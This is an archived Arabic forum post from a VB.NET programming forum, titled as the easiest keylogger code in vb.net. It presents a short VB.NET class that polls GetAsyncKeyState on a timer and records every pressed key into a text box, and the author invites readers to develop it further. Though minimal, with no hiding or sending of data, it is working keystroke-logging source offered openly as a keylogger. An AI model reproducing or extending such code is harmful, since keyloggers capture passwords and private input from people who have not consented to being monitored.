+- منتدى فيجوال بيسك لكل العرب | منتدى المبرمجين العرب (http://vb4arb.com/vb)
+-- قسم : قسم لغة الفيجوال بيسك VB.NET (http://vb4arb.com/vb/forumdisplay.php?fid=182)
+--- قسم : قسم مقالات VB.NET (http://vb4arb.com/vb/forumdisplay.php?fid=184)
+--- الموضوع : اسهل كود لسجيل ضغطات لوحة المفاتيح Keylogger في vb.net (/showthread.php?tid=18810)
اسهل كود لسجيل ضغطات لوحة المفاتيح Keylogger في vb.net - Basil Abdallah - 15-01-17
السلام عليكم
الكود قابل للتطوير يوضح الفكرة
لا تنسو Timer1.Interval = 1
ويندوز 7
كود :
Imports System.Runtime.InteropServices
Public Class Form1
Dim key As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As System.Windows.Forms.Keys) As Short
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 1 To 255
key = 0
key = GetAsyncKeyState(i)
If key = -32767 Then
TextBox1.Text &= Chr(i)
End If
Next i
End Sub
End Class